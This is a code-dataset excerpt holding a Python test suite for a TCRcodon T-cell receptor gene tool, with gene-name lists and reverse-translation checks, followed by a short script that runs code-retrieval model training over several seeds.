'TRAJ43*01', 'TRAJ43*02', 'TRAJ44*01', 'TRAJ45*01', 'TRAJ45*02', 'TRAJ46*01', 'TRAJ47*01', 'TRAJ48*01', 'TRAJ49*01', 'TRAJ5*01', 'TRAJ50*01', 'TRAJ52*01', 'TRAJ53*01', 'TRAJ54*01', 'TRAJ56*01', 'TRAJ57*01', 'TRAJ58*01', 'TRAJ59*01', 'TRAJ6*01', 'TRAJ60*01', 'TRAJ61*01', 'TRAJ7*01', 'TRAJ9*01', 'TRAJ9*02', 'TRBV1*01', 'TRBV1*02', 'TRBV10*01', 'TRBV12-1*01', 'TRBV12-1*02', 'TRBV12-2*01', 'TRBV12-2*02', 'TRBV13-1*01', 'TRBV13-1*02', 'TRBV13-2*01', 'TRBV13-2*02', 'TRBV13-2*03', 'TRBV13-2*04', 'TRBV13-2*05', 'TRBV13-3*01', 'TRBV14*01', 'TRBV15*01', 'TRBV16*01', 'TRBV16*02', 'TRBV16*03', 'TRBV16*04', 'TRBV17*01', 'TRBV19*01', 'TRBV19*02', 'TRBV19*03', 'TRBV2*01', 'TRBV20*01', 'TRBV20*02', 'TRBV21*01', 'TRBV23*01', 'TRBV24*01', 'TRBV24*02', 'TRBV24*03', 'TRBV24*04', 'TRBV26*01', 'TRBV26*02', 'TRBV29*01', 'TRBV29*02', 'TRBV3*01', 'TRBV3*02', 'TRBV30*01', 'TRBV31*01', 'TRBV31*02', 'TRBV4*01', 'TRBV4*02', 'TRBV5*01', 'TRBV5*02', 'TRBV5*03', 'TRBV5*04', 'TRBV5*05', 'TRBV8*01', 'TRBV9*01', 'TRBJ1-1*01', 'TRBJ1-1*02', 'TRBJ1-2*01', 'TRBJ1-3*01', 'TRBJ1-4*01', 'TRBJ1-4*02', 'TRBJ1-5*01', 'TRBJ1-5*02', 'TRBJ1-5*03', 'TRBJ1-6*01', 'TRBJ1-7*01', 'TRBJ2-1*01', 'TRBJ2-2*01', 'TRBJ2-3*01', 'TRBJ2-4*01', 'TRBJ2-5*01', 'TRBJ2-6*01', 'TRBJ2-7*01', 'TRBJ2-7*02', 'TRBD1*01', 'TRBD2*01']) def test_TCRcodon_human_ab_init(): tc = TCRcodon(organism = "human", db_file = "alphabeta_db.tsv") assert set(tc.all_genes.keys()) == set(['TRAV1-1*01', 'TRAV1-1*02', 'TRAV1-2*01', 'TRAV1-2*02', 'TRAV10*01', 'TRAV11*01', 'TRAV12-1*01', 'TRAV12-1*02', 'TRAV12-2*01', 'TRAV12-2*02', 'TRAV12-2*03', 'TRAV12-3*01', 'TRAV12-3*02', 'TRAV13-1*01', 'TRAV13-1*02', 'TRAV13-1*03', 'TRAV13-2*01', 'TRAV13-2*02', 'TRAV14/DV4*01', 'TRAV14/DV4*02', 'TRAV14/DV4*03', 'TRAV14/DV4*04', 'TRAV16*01', 'TRAV17*01', 'TRAV18*01', 'TRAV19*01', 'TRAV2*01', 'TRAV2*02', 'TRAV20*01', 'TRAV20*02', 'TRAV20*03', 'TRAV20*04', 'TRAV21*01', 'TRAV21*02', 'TRAV22*01', 'TRAV23/DV6*01', 'TRAV23/DV6*02', 'TRAV23/DV6*03', 'TRAV23/DV6*04', 'TRAV24*01', 'TRAV24*02', 'TRAV25*01', 'TRAV26-1*01', 'TRAV26-1*02', 'TRAV26-1*03', 'TRAV26-2*01', 'TRAV26-2*02', 'TRAV27*01', 'TRAV27*02', 'TRAV27*03', 'TRAV29/DV5*01', 'TRAV29/DV5*02', 'TRAV3*01', 'TRAV30*01', 'TRAV30*02', 'TRAV30*03', 'TRAV30*04', 'TRAV34*01', 'TRAV35*01', 'TRAV35*02', 'TRAV36/DV7*01', 'TRAV36/DV7*02', 'TRAV36/DV7*03', 'TRAV36/DV7*04', 'TRAV38-1*01', 'TRAV38-1*02', 'TRAV38-1*03', 'TRAV38-1*04', 'TRAV38-2/DV8*01', 'TRAV39*01', 'TRAV4*01', 'TRAV40*01', 'TRAV41*01', 'TRAV5*01', 'TRAV6*01', 'TRAV6*02', 'TRAV6*03', 'TRAV6*04', 'TRAV6*05', 'TRAV6*06', 'TRAV7*01', 'TRAV8-1*01', 'TRAV8-1*02', 'TRAV8-2*01', 'TRAV8-2*02', 'TRAV8-3*01', 'TRAV8-3*02', 'TRAV8-3*03', 'TRAV8-4*01', 'TRAV8-4*02', 'TRAV8-4*03', 'TRAV8-4*04', 'TRAV8-4*05', 'TRAV8-4*06', 'TRAV8-4*07', 'TRAV8-6*01', 'TRAV8-6*02', 'TRAV8-7*01', 'TRAV9-1*01', 'TRAV9-2*01', 'TRAV9-2*02', 'TRAV9-2*03', 'TRAV9-2*04', 'TRAJ1*01', 'TRAJ10*01', 'TRAJ11*01', 'TRAJ12*01', 'TRAJ13*01', 'TRAJ13*02', 'TRAJ14*01', 'TRAJ15*01', 'TRAJ15*02', 'TRAJ16*01', 'TRAJ17*01', 'TRAJ18*01', 'TRAJ19*01', 'TRAJ2*01', 'TRAJ20*01', 'TRAJ21*01', 'TRAJ22*01', 'TRAJ23*01', 'TRAJ23*02', 'TRAJ24*01', 'TRAJ24*02', 'TRAJ25*01', 'TRAJ26*01', 'TRAJ27*01', 'TRAJ28*01', 'TRAJ29*01', 'TRAJ3*01', 'TRAJ30*01', 'TRAJ31*01', 'TRAJ32*01', 'TRAJ32*02', 'TRAJ33*01', 'TRAJ34*01', 'TRAJ35*01', 'TRAJ36*01', 'TRAJ37*01', 'TRAJ37*02', 'TRAJ38*01', 'TRAJ39*01', 'TRAJ4*01', 'TRAJ40*01', 'TRAJ41*01', 'TRAJ42*01', 'TRAJ43*01', 'TRAJ44*01', 'TRAJ45*01', 'TRAJ46*01', 'TRAJ47*01', 'TRAJ47*02', 'TRAJ48*01', 'TRAJ49*01', 'TRAJ5*01', 'TRAJ50*01', 'TRAJ51*01', 'TRAJ52*01', 'TRAJ53*01', 'TRAJ54*01', 'TRAJ55*01', 'TRAJ56*01', 'TRAJ57*01', 'TRAJ58*01', 'TRAJ59*01', 'TRAJ6*01', 'TRAJ60*01', 'TRAJ61*01', 'TRAJ7*01', 'TRAJ8*01', 'TRAJ9*01', 'TRBV1*01', 'TRBV10-1*01', 'TRBV10-1*02', 'TRBV10-2*01', 'TRBV10-2*02', 'TRBV10-3*01', 'TRBV10-3*02', 'TRBV10-3*03', 'TRBV10-3*04', 'TRBV11-1*01', 'TRBV11-2*01', 'TRBV11-2*02', 'TRBV11-2*03', 'TRBV11-3*01', 'TRBV11-3*02', 'TRBV11-3*03', 'TRBV12-1*01', 'TRBV12-2*01', 'TRBV12-3*01', 'TRBV12-4*01', 'TRBV12-4*02', 'TRBV12-5*01', 'TRBV13*01', 'TRBV13*02', 'TRBV14*01', 'TRBV14*02', 'TRBV15*01', 'TRBV15*02', 'TRBV15*03', 'TRBV16*01', 'TRBV16*02', 'TRBV16*03', 'TRBV17*01', 'TRBV18*01', 'TRBV19*01', 'TRBV19*02', 'TRBV19*03', 'TRBV2*01', 'TRBV2*02', 'TRBV2*03', 'TRBV20-1*01', 'TRBV20-1*02', 'TRBV20-1*03', 'TRBV20-1*04', 'TRBV20-1*05', 'TRBV20-1*06', 'TRBV20-1*07', 'TRBV20/OR9-2*01', 'TRBV20/OR9-2*02', 'TRBV20/OR9-2*03', 'TRBV21-1*01', 'TRBV21/OR9-2*01', 'TRBV23-1*01', 'TRBV23/OR9-2*01', 'TRBV23/OR9-2*02', 'TRBV24-1*01', 'TRBV24/OR9-2*01', 'TRBV25-1*01', 'TRBV26*01', 'TRBV26/OR9-2*01', 'TRBV26/OR9-2*02', 'TRBV27*01', 'TRBV28*01', 'TRBV29-1*01', 'TRBV29-1*02', 'TRBV29-1*03', 'TRBV29/OR9-2*01', 'TRBV29/OR9-2*02', 'TRBV3-1*01', 'TRBV3-1*02', 'TRBV3-2*01', 'TRBV3-2*02', 'TRBV3-2*03', 'TRBV30*01', 'TRBV30*02', 'TRBV30*04', 'TRBV30*05', 'TRBV4-1*01', 'TRBV4-1*02', 'TRBV4-2*01', 'TRBV4-2*02', 'TRBV4-3*01', 'TRBV4-3*02', 'TRBV4-3*03', 'TRBV4-3*04', 'TRBV5-1*01', 'TRBV5-1*02', 'TRBV5-3*01', 'TRBV5-3*02', 'TRBV5-4*01', 'TRBV5-4*02', 'TRBV5-4*03', 'TRBV5-4*04', 'TRBV5-5*01', 'TRBV5-5*02', 'TRBV5-5*03', 'TRBV5-6*01', 'TRBV5-7*01', 'TRBV5-8*01', 'TRBV5-8*02', 'TRBV6-1*01', 'TRBV6-2*01', 'TRBV6-3*01', 'TRBV6-4*01', 'TRBV6-4*02', 'TRBV6-5*01', 'TRBV6-6*01', 'TRBV6-6*02', 'TRBV6-6*03', 'TRBV6-6*04', 'TRBV6-6*05', 'TRBV6-7*01', 'TRBV6-8*01', 'TRBV6-9*01', 'TRBV7-1*01', 'TRBV7-2*01', 'TRBV7-2*02', 'TRBV7-2*03', 'TRBV7-2*04', 'TRBV7-3*01', 'TRBV7-3*02', 'TRBV7-3*03', 'TRBV7-3*04', 'TRBV7-3*05', 'TRBV7-4*01', 'TRBV7-6*01', 'TRBV7-6*02', 'TRBV7-7*01', 'TRBV7-7*02', 'TRBV7-8*01', 'TRBV7-8*02', 'TRBV7-8*03', 'TRBV7-9*01', 'TRBV7-9*02', 'TRBV7-9*03', 'TRBV7-9*04', 'TRBV7-9*05', 'TRBV7-9*06', 'TRBV7-9*07', 'TRBV9*01', 'TRBV9*02', 'TRBV9*03', 'TRBJ1-1*01', 'TRBJ1-2*01', 'TRBJ1-3*01', 'TRBJ1-4*01', 'TRBJ1-5*01', 'TRBJ1-6*01', 'TRBJ1-6*02', 'TRBJ2-1*01', 'TRBJ2-2*01', 'TRBJ2-2P*01', 'TRBJ2-3*01', 'TRBJ2-4*01', 'TRBJ2-5*01', 'TRBJ2-6*01', 'TRBJ2-7*01', 'TRBJ2-7*02', 'TRBD1*01', 'TRBD2*01', 'TRBD2*02']) def test_TCRcodon_mouse_gd_init(): tc = TCRcodon(organism = "mouse", db_file = "gammadelta_db.tsv") assert set(tc.all_genes.keys()) == set(['TRGV1*01', 'TRGV1*02', 'TRGV1*03', 'TRGV1*04', 'TRGV1*05', 'TRGV1*06', 'TRGV1*07', 'TRGV1*08', 'TRGV2*01', 'TRGV2*02', 'TRGV2*03', 'TRGV2*04', 'TRGV2*05', 'TRGV3*01', 'TRGV3*02', 'TRGV3*03', 'TRGV4*01', 'TRGV4*02', 'TRGV4*03', 'TRGV4*04', 'TRGV4*05', 'TRGV5*01', 'TRGV6*01', 'TRGV6*02', 'TRGV6*03', 'TRGV6*04', 'TRGV7*01', 'TRGV7*02', 'TRGJ3*01', 'TRGJ2*01', 'TRGJ1*01', 'TRGJ4*01', 'TRAV1*01', 'TRAV1*02', 'TRAV10*01', 'TRAV10*02', 'TRAV10*03', 'TRAV10*04', 'TRAV10*05', 'TRAV10D*01', 'TRAV10D*02', 'TRAV10N*01', 'TRAV11*01', 'TRAV11*02', 'TRAV11D*01', 'TRAV11N*01', 'TRAV12-1*01', 'TRAV12-1*02', 'TRAV12-1*03', 'TRAV12-1*04', 'TRAV12-1*05', 'TRAV12-2*01', 'TRAV12-3*01', 'TRAV12-3*02', 'TRAV12-3*03', 'TRAV12-3*04', 'TRAV12D-1*01', 'TRAV12D-1*02', 'TRAV12D-1*04', 'TRAV12D-1*05', 'TRAV12D-2*01', 'TRAV12D-2*02', 'TRAV12D-2*03', 'TRAV12D-2*04', 'TRAV12D-2*05', 'TRAV12D-3*01', 'TRAV12D-3*02', 'TRAV12D-3*03', 'TRAV12N-1*01', 'TRAV12N-2*01', 'TRAV12N-3*01', 'TRAV13-1*01', 'TRAV13-2*01', 'TRAV13-2*02', 'TRAV13-3*01', 'TRAV13-3*02', 'TRAV13-4/DV7*01', 'TRAV13-4/DV7*02', 'TRAV13-4/DV7*03', 'TRAV13-5*01', 'TRAV13D-1*01', 'TRAV13D-1*02', 'TRAV13D-1*03', 'TRAV13D-2*01', 'TRAV13D-2*02', 'TRAV13D-3*01', 'TRAV13D-3*02', 'TRAV13D-4*01', 'TRAV13D-4*02', 'TRAV13D-4*03', 'TRAV13N-1*01', 'TRAV13N-2*01', 'TRAV13N-3*01', 'TRAV13N-4*01', 'TRAV14-1*01', 'TRAV14-1*02', 'TRAV14-1*03', 'TRAV14-2*01', 'TRAV14-2*02', 'TRAV14-2*03', 'TRAV14-3*01', 'TRAV14-3*02', 'TRAV14-3*03', 'TRAV14D-1*01', 'TRAV14D-1*02', 'TRAV14D-2*01', 'TRAV14D-2*02', 'TRAV14D-2*03', 'TRAV14D-3/DV8*01', 'TRAV14D-3/DV8*02', 'TRAV14D-3/DV8*03', 'TRAV14D-3/DV8*04', 'TRAV14D-3/DV8*05', 'TRAV14D-3/DV8*06', 'TRAV14D-3/DV8*07', 'TRAV14D-3/DV8*08', 'TRAV14N-1*01', 'TRAV14N-2*01', 'TRAV14N-3*01', 'TRAV15-1/DV6-1*01', 'TRAV15-1/DV6-1*02', 'TRAV15-2/DV6-2*01', 'TRAV15-2/DV6-2*02', 'TRAV15D-1/DV6D-1*01', 'TRAV15D-1/DV6D-1*02', 'TRAV15D-1/DV6D-1*03', 'TRAV15D-1/DV6D-1*04', 'TRAV15D-1/DV6D-1*05', 'TRAV15D-1/DV6D-1*06', 'TRAV15D-2/DV6D-2*01', 'TRAV15D-2/DV6D-2*02', 'TRAV15D-2/DV6D-2*03', 'TRAV15D-2/DV6D-2*04', 'TRAV15D-2/DV6D-2*05', 'TRAV15N-1*01', 'TRAV15N-2*01', 'TRAV16*01', 'TRAV16*02', 'TRAV16*03', 'TRAV16*04', 'TRAV16*05', 'TRAV16D/DV11*01', 'TRAV16D/DV11*02', 'TRAV16D/DV11*03', 'TRAV16N*01', 'TRAV17*01', 'TRAV17*02', 'TRAV18*01', 'TRAV19*01', 'TRAV19*03', 'TRAV2*01', 'TRAV20*01', 'TRAV20*02', 'TRAV21/DV12*01', 'TRAV21/DV12*02', 'TRAV3-1*01', 'TRAV3-1*02', 'TRAV3-3*01', 'TRAV3-4*01', 'TRAV3D-3*01', 'TRAV3D-3*02', 'TRAV3N-3*01', 'TRAV4-2*01', 'TRAV4-2*02', 'TRAV4-3*01', 'TRAV4-3*02', 'TRAV4-4/DV10*01', 'TRAV4D-2*01', 'TRAV4D-3*01', 'TRAV4D-3*02', 'TRAV4D-3*03', 'TRAV4D-3*04', 'TRAV4D-4*01', 'TRAV4D-4*02', 'TRAV4D-4*03', 'TRAV4D-4*04', 'TRAV4N-3*01', 'TRAV4N-4*01', 'TRAV5-1*01', 'TRAV5-2*01', 'TRAV5-4*01', 'TRAV5D-2*01', 'TRAV5D-4*01', 'TRAV5D-4*02', 'TRAV5D-4*03', 'TRAV5D-4*04', 'TRAV5D-4*05', 'TRAV5N-2*01', 'TRAV5N-4*01', 'TRAV6-1*01', 'TRAV6-1*02', 'TRAV6-2*01', 'TRAV6-2*02', 'TRAV6-2*03', 'TRAV6-3*01', 'TRAV6-3*02', 'TRAV6-4*01', 'TRAV6-4*02', 'TRAV6-4*03', 'TRAV6-5*01', 'TRAV6-5*02', 'TRAV6-5*03', 'TRAV6-5*04', 'TRAV6-6*01', 'TRAV6-6*02', 'TRAV6-6*03', 'TRAV6-7/DV9*01', 'TRAV6-7/DV9*02', 'TRAV6-7/DV9*03', 'TRAV6-7/DV9*04', 'TRAV6-7/DV9*06', 'TRAV6-7/DV9*07', 'TRAV6-7/DV9*08', 'TRAV6D-3*01', 'TRAV6D-3*02', 'TRAV6D-4*01', 'TRAV6D-5*01', 'TRAV6D-6*01', 'TRAV6D-6*02', 'TRAV6D-6*03', 'TRAV6D-6*04', 'TRAV6D-6*05', 'TRAV6D-7*01', 'TRAV6D-7*02', 'TRAV6D-7*03', 'TRAV6D-7*04', 'TRAV6N-5*01', 'TRAV6N-6*01', 'TRAV6N-7*01', 'TRAV7-1*01', 'TRAV7-2*01', 'TRAV7-2*02', 'TRAV7-3*01', 'TRAV7-3*02', 'TRAV7-3*03', 'TRAV7-3*04', 'TRAV7-4*01', 'TRAV7-4*02', 'TRAV7-5*01', 'TRAV7-5*02', 'TRAV7-5*03', 'TRAV7-6*01', 'TRAV7-6*02', 'TRAV7D-2*01', 'TRAV7D-2*02', 'TRAV7D-2*03', 'TRAV7D-3*01', 'TRAV7D-3*02', 'TRAV7D-4*01', 'TRAV7D-4*02', 'TRAV7D-4*03', 'TRAV7D-5*01', 'TRAV7D-6*01', 'TRAV7D-6*02', 'TRAV7N-4*01', 'TRAV7N-5*01', 'TRAV7N-6*01', 'TRAV8-1*01', 'TRAV8-1*02', 'TRAV8-1*03', 'TRAV8-2*01', 'TRAV8D-1*01', 'TRAV8D-1*02', 'TRAV8D-2*01', 'TRAV8D-2*02', 'TRAV8D-2*03', 'TRAV8N-2*01', 'TRAV9-1*01', 'TRAV9-1*02', 'TRAV9-2*01', 'TRAV9-3*01', 'TRAV9-3*02', 'TRAV9-3*03', 'TRAV9-4*01', 'TRAV9D-1*01', 'TRAV9D-1*02', 'TRAV9D-2*01', 'TRAV9D-2*02', 'TRAV9D-2*03', 'TRAV9D-3*01', 'TRAV9D-3*02', 'TRAV9D-4*01', 'TRAV9D-4*03', 'TRAV9D-4*04', 'TRAV9N-2*01', 'TRAV9N-3*01', 'TRAV9N-4*01', 'TRDV1*01', 'TRDV2-1*01', 'TRDV2-2*01', 'TRDV2-2*02', 'TRDV4*01', 'TRDV5*01', 'TRDV5*02', 'TRDV5*03', 'TRDV5*04', 'TRDJ1*01', 'TRDJ2*01', 'TRDJ2*02', 'TRDD1*01', 'TRDD2*01']) def test_TCRcodon_human_gd_init(): tc = TCRcodon(organism = "human", db_file = "gammadelta_db.tsv") assert set(tc.all_genes.keys()) == set(['TRGV1*01', 'TRGV10*01', 'TRGV10*02', 'TRGV11*01', 'TRGV11*02', 'TRGV2*01', 'TRGV2*02', 'TRGV3*01', 'TRGV3*02', 'TRGV4*01', 'TRGV4*02', 'TRGV5*01', 'TRGV5P*01', 'TRGV5P*02', 'TRGV8*01', 'TRGV9*01', 'TRGV9*02', 'TRGVA*01', 'TRGJ1*01', 'TRGJ1*02', 'TRGJP1*01', 'TRGJ2*01', 'TRGJP*01', 'TRGJP2*01', 'TRAV1-1*01', 'TRAV1-1*02', 'TRAV1-2*01', 'TRAV1-2*02', 'TRAV10*01', 'TRAV11*01', 'TRAV12-1*01', 'TRAV12-1*02', 'TRAV12-2*01', 'TRAV12-2*02', 'TRAV12-2*03', 'TRAV12-3*01', 'TRAV12-3*02', 'TRAV13-1*01', 'TRAV13-1*02', 'TRAV13-1*03', 'TRAV13-2*01', 'TRAV13-2*02', 'TRAV14/DV4*01', 'TRAV14/DV4*02', 'TRAV14/DV4*03', 'TRAV14/DV4*04', 'TRAV16*01', 'TRAV17*01', 'TRAV18*01', 'TRAV19*01', 'TRAV2*01', 'TRAV2*02', 'TRAV20*01', 'TRAV20*02', 'TRAV20*03', 'TRAV20*04', 'TRAV21*01', 'TRAV21*02', 'TRAV22*01', 'TRAV23/DV6*01', 'TRAV23/DV6*02', 'TRAV23/DV6*03', 'TRAV23/DV6*04', 'TRAV24*01', 'TRAV24*02', 'TRAV25*01', 'TRAV26-1*01', 'TRAV26-1*02', 'TRAV26-1*03', 'TRAV26-2*01', 'TRAV26-2*02', 'TRAV27*01', 'TRAV27*02', 'TRAV27*03', 'TRAV29/DV5*01', 'TRAV29/DV5*02', 'TRAV3*01', 'TRAV30*01', 'TRAV30*02', 'TRAV30*03', 'TRAV30*04', 'TRAV34*01', 'TRAV35*01', 'TRAV35*02', 'TRAV36/DV7*01', 'TRAV36/DV7*02', 'TRAV36/DV7*03', 'TRAV36/DV7*04', 'TRAV38-1*01', 'TRAV38-1*02', 'TRAV38-1*03', 'TRAV38-1*04', 'TRAV38-2/DV8*01', 'TRAV39*01', 'TRAV4*01', 'TRAV40*01', 'TRAV41*01', 'TRAV5*01', 'TRAV6*01', 'TRAV6*02', 'TRAV6*03', 'TRAV6*04', 'TRAV6*05', 'TRAV6*06', 'TRAV7*01', 'TRAV8-1*01', 'TRAV8-1*02', 'TRAV8-2*01', 'TRAV8-2*02', 'TRAV8-3*01', 'TRAV8-3*02', 'TRAV8-3*03', 'TRAV8-4*01', 'TRAV8-4*02', 'TRAV8-4*03', 'TRAV8-4*04', 'TRAV8-4*05', 'TRAV8-4*06', 'TRAV8-4*07', 'TRAV8-6*01', 'TRAV8-6*02', 'TRAV8-7*01', 'TRAV9-1*01', 'TRAV9-2*01', 'TRAV9-2*02', 'TRAV9-2*03', 'TRAV9-2*04', 'TRDV1*01', 'TRDV2*01', 'TRDV2*02', 'TRDV2*03', 'TRDV3*01', 'TRDV3*02', 'TRDJ1*01', 'TRDJ4*01', 'TRDJ3*01', 'TRDJ2*01', 'TRDD1*01', 'TRDD3*01', 'TRDD2*01']) def test_TCRcodon_single_example(): tc = TCRcodon(organism = "mouse", db_file = "alphabeta_db.tsv") r = tc.guess_reverse_translation(v_gene_name= 'TRBV29*01' , j_gene_name= 'TRBJ1-5*01' , cdr3_aa = 'CASSEGEAPLF') assert r == 'TGTGCTAGCAGTGAGGGAGAGGCTCCGCTTTTT' def test_TCRcodon_single_example2(): tc = TCRcodon(organism = "mouse", db_file = "alphabeta_db.tsv") r = tc.guess_reverse_translation(v_gene_name= 'TRBV29*01' , \ j_gene_name= 'TRBJ2-2*01' , cdr3_aa = 'CASSPTGQLYF') # Only the edges are gauranteed to match the real seq shown below, as insertion codons a # unkown and degenerate assert r[0:10] == 'tgtgctagcagccccaccgggcagctctacttt'.upper()[0:10] assert r[-10:-1] == 'tgtgctagcagccccaccgggcagctctacttt'.upper()[-10:-1] assert r == 'TGTGCTAGCAGTCCTACCGGGCAGCTCTACTTT' def test_TCRcodon_small_dataframe_beta(): tc = TCRcodon(organism = "mouse", db_file = "alphabeta_db.tsv") df = clone_df_subset[['v_b_gene','j_b_gene', 'cdr3_b_aa','cdr3_b_nucseq']] syn_nucs = df.apply(lambda r: \ tc.guess_reverse_translation(r['v_b_gene'], r['j_b_gene'], r['cdr3_b_aa'], verbose = False), axis = 1) len_syn = [len(x) for x in syn_nucs] len_real =[len(x) for x in df['cdr3_b_nucseq']] assert np.all(len_syn == len_real) def test_TCRcodon_small_dataframe_alpha(): tc = TCRcodon(organism = "mouse", db_file = "alphabeta_db.tsv") df = clone_df_subset[['v_a_gene','j_a_gene', 'cdr3_a_aa','cdr3_a_nucseq']] syn_nucs = df.apply(lambda r: \ tc.guess_reverse_translation(r['v_a_gene'], r['j_a_gene'], r['cdr3_a_aa'], verbose = False), axis = 1) # Check that synthestic and real seqs are same length len_syn = [len(x) for x in syn_nucs] len_real =[len(x) for x in df['cdr3_a_nucseq']] assert np.all(len_syn == len_real) def test_TCRcodon_smal_dataframe_alpha_beta_lots(): """Bigger Example """ tc = TCRcodon(organism = "mouse", db_file = "alphabeta_db.tsv") df = pd.read_csv("tcrdist/test_files_compact/dash.csv") syn_nucs = df.apply(lambda r: \ tc.guess_reverse_translation( \ r['v_b_gene'], r['j_b_gene'], r['cdr3_b_aa'],\ verbose = False), axis = 1) len_syn = [len(x) for x in syn_nucs] len_real =[len(x) for x in df['cdr3_b_nucseq']] assert np.all(len_syn == len_real) syn_nucs = df.apply(lambda r: \ tc.guess_reverse_translation(\ r['v_a_gene'], r['j_a_gene'], r['cdr3_a_aa'],\ verbose = False), axis = 1) # Check that synthestic and real seqs are same length len_syn = [len(x) for x in syn_nucs] len_real =[len(x) for x in df['cdr3_a_nucseq']] assert np.all(len_syn == len_real) def test_TCRcodon_smal_dataframe_delta_lots(): tc = TCRcodon(organism = "human", db_file = "gammadelta_db.tsv") df = pd.read_csv("tcrdist/test_files_compact/sant.csv") # Sant data Doesn't provide J gene so we are handicapped in that regard, for testing we just guess on df['j_g_gene'] = 'TRGJ1*01' syn_nucs = df.apply(lambda r: \ tc.guess_reverse_translation(\ r['v_g_gene'], r['j_g_gene'], r['cdr3_g_aa'],\ verbose = False), axis = 1) # Check that synthestic and real seqs are same length len_syn = [len(x) for x in syn_nucs] len_real =[3*len(x) for x in df['cdr3_g_aa']] assert np.all(len_syn == len_real) def test_TCRcodon_smal_dataframe_gama_lots(): tc = TCRcodon(organism = "human", db_file = "gammadelta_db.tsv") df = pd.read_csv("tcrdist/test_files_compact/sant.csv") df['j_d_gene'] = [tc.get_best_j_gene(aa_seq = x, verbose = False) for x in df['cdr3_d_aa']] df = df[df['v_d_gene'].notna()].copy() syn_nucs = df.apply(lambda r: \ tc.guess_reverse_translation(\ r['v_d_gene'], r['j_d_gene'], r['cdr3_d_aa'],\ verbose = False), axis = 1) # Check that synthestic and real seqs are same length len_syn = [len(x) for x in syn_nucs] len_real =[3*len(x) for x in df['cdr3_d_aa']] assert np.all(len_syn == len_real) assert np.all(len_syn == len_real) def test_get_bets_j_gene(): from tcrdist.pairwise import hm_metric tc = TCRcodon(organism = "human", db_file = "gammadelta_db.tsv") df = pd.read_csv("tcrdist/test_files_compact/sant.csv") someseq = df['cdr3_d_aa'][1] x = tc.get_best_j_gene(aa_seq = someseq, verbose = True) assert x == 'TRDJ1*01' # test for all xx = [tc.get_best_j_gene(aa_seq = x, verbose = False) for x in df['cdr3_d_aa']] vc = pd.Series(xx).value_counts().to_dict() assert vc == {'TRDJ1*01': 271, 'TRDJ3*01': 66, 'TRDJ2*01': 20, 'TRDJ4*01': 9} def test_get_bets_j_gene_room_for_improvement(): tc = TCRcodon(organism = "mouse", db_file = "alphabeta_db.tsv") df = clone_df_subset[['v_b_gene','j_b_gene', 'cdr3_b_aa','cdr3_b_nucseq']] xx = [tc.get_best_j_gene(aa_seq = x, verbose = False) for x in df['cdr3_b_aa']] # THIS CAN'T RESOLVE TIES, OR WHO KNOW WHAT ELSE assert np.all(df['j_b_gene'][0:2] == xx[0:2]) assert np.sum(df['j_b_gene'] == xx) > 20

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1

0

null

0

8

66c588cb21d38fc905a076a58aa4f5d7d12b897c

2,280

py

Python

data/run.py

bentrevett/pytorch-for-code

1dd35e4b80eba8b1eae687d4f9c4a1c4d8122d0a

[ "MIT" ]

9

2020-01-20T12:59:45.000Z

2021-03-05T02:46:44.000Z

data/run.py

bentrevett/pytorch-for-code

1dd35e4b80eba8b1eae687d4f9c4a1c4d8122d0a

[ "MIT" ]

null

data/run.py

bentrevett/pytorch-for-code

1dd35e4b80eba8b1eae687d4f9c4a1c4d8122d0a

[ "MIT" ]

null

import subprocess """command = 'python get_codesearchnet.py' process = subprocess.Popen(command, shell=True) process.wait()""" """print('processing data...') command = 'python process_codesearchnet.py' process = subprocess.Popen(command, shell=True) process.wait() print('making vocabs...') languages = ['go', 'java', 'javascript', 'php', 'python', 'ruby', '6L'] for language in languages: command = f'python get_vocab.py --data codesearchnet/{language}_train.jsonl' process = subprocess.Popen(command, shell=True) process.wait()""" """command = 'python bpe.py --data codesearchnet/java --vocab_max_size 10000 --bpe_pct 0.5 --language java' process = subprocess.Popen(command, shell=True) process.wait() command = 'python bpe.py --data codesearchnet/6L --vocab_max_size 10000 --bpe_pct 0.5 --language 6L' process = subprocess.Popen(command, shell=True) process.wait()""" for seed in [1,2,3,4,5]: train_data = 'data/codesearchnet/java_train_bpe_10000_0.5.jsonl' valid_data = 'data/codesearchnet/java_valid_bpe_10000_0.5.jsonl' test_data = 'data/codesearchnet/java_test_bpe_10000_0.5.jsonl' code_vocab = 'data/codesearchnet/java-bpe-10000-0.5_code_vocab.jsonl' desc_vocab = 'data/codesearchnet/java-bpe-10000-0.5_desc_vocab.jsonl' for model in ['nbow', 'rnn', 'cnn', 'transformer']: command = f'python code_retrieval_{model}.py --train_data {train_data} --valid_data {valid_data} --test_data {test_data} --code_vocab {code_vocab} --desc_vocab {desc_vocab} --seed {seed}' process = subprocess.Popen(command, shell=True) process.wait() train_data = 'data/codesearchnet/6L_train_bpe_10000_0.5.jsonl' valid_data = 'data/codesearchnet/6L_valid_bpe_10000_0.5.jsonl' test_data = 'data/codesearchnet/6L_test_bpe_10000_0.5.jsonl' code_vocab = 'data/codesearchnet/6L-bpe-10000-0.5_code_vocab.jsonl' desc_vocab = 'data/codesearchnet/6L-bpe-10000-0.5_desc_vocab.jsonl' for model in ['nbow', 'rnn', 'cnn', 'transformer']: command = f'python code_retrieval_{model}.py --train_data {train_data} --valid_data {valid_data} --test_data {test_data} --code_vocab {code_vocab} --desc_vocab {desc_vocab} --seed {seed}' process = subprocess.Popen(command, shell=True) process.wait()

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66e2ddc96706895503d4aef34a89030b2db9ddfc

29,210

py

Python

assignments/task_02/test_cases/test_03.py

Rlperez1207/stem

1bdfb63bc7b9b28ca505cc4b71c3a70937613658

[ "MIT" ]

null

assignments/task_02/test_cases/test_03.py

Rlperez1207/stem

1bdfb63bc7b9b28ca505cc4b71c3a70937613658

[ "MIT" ]

null

assignments/task_02/test_cases/test_03.py

Rlperez1207/stem

1bdfb63bc7b9b28ca505cc4b71c3a70937613658

[ "MIT" ]

null

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